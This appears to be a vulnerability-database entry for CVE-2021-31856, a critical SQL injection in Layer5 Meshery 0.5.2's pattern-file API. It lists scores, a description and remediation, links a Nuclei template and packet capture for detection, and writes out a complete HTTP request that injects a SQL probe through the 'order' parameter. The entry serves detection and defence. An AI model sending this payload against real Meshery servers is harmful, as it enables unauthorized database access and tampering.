🔙 목록으로 돌아가기

CVE-2021-31856: Layer5 Meshery 0.5.2 - SQL Injection

TitleLayer5 Meshery 0.5.2 - SQL Injection
Authorprincechaddha
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856).
CVSS Score9.8
EPSS Score0.79924
CVE IDCVE-2021-31856
CWE IDCWE-89
Tags cve2021 cve sqli layer5 vuln

🔍 Vulnerability Description

Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).

🌐 HTTP Request

GET /api/experimental/patternfile?order=id%3Bselect(md5(1130))&page=0&page_size=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31856.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-31856.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A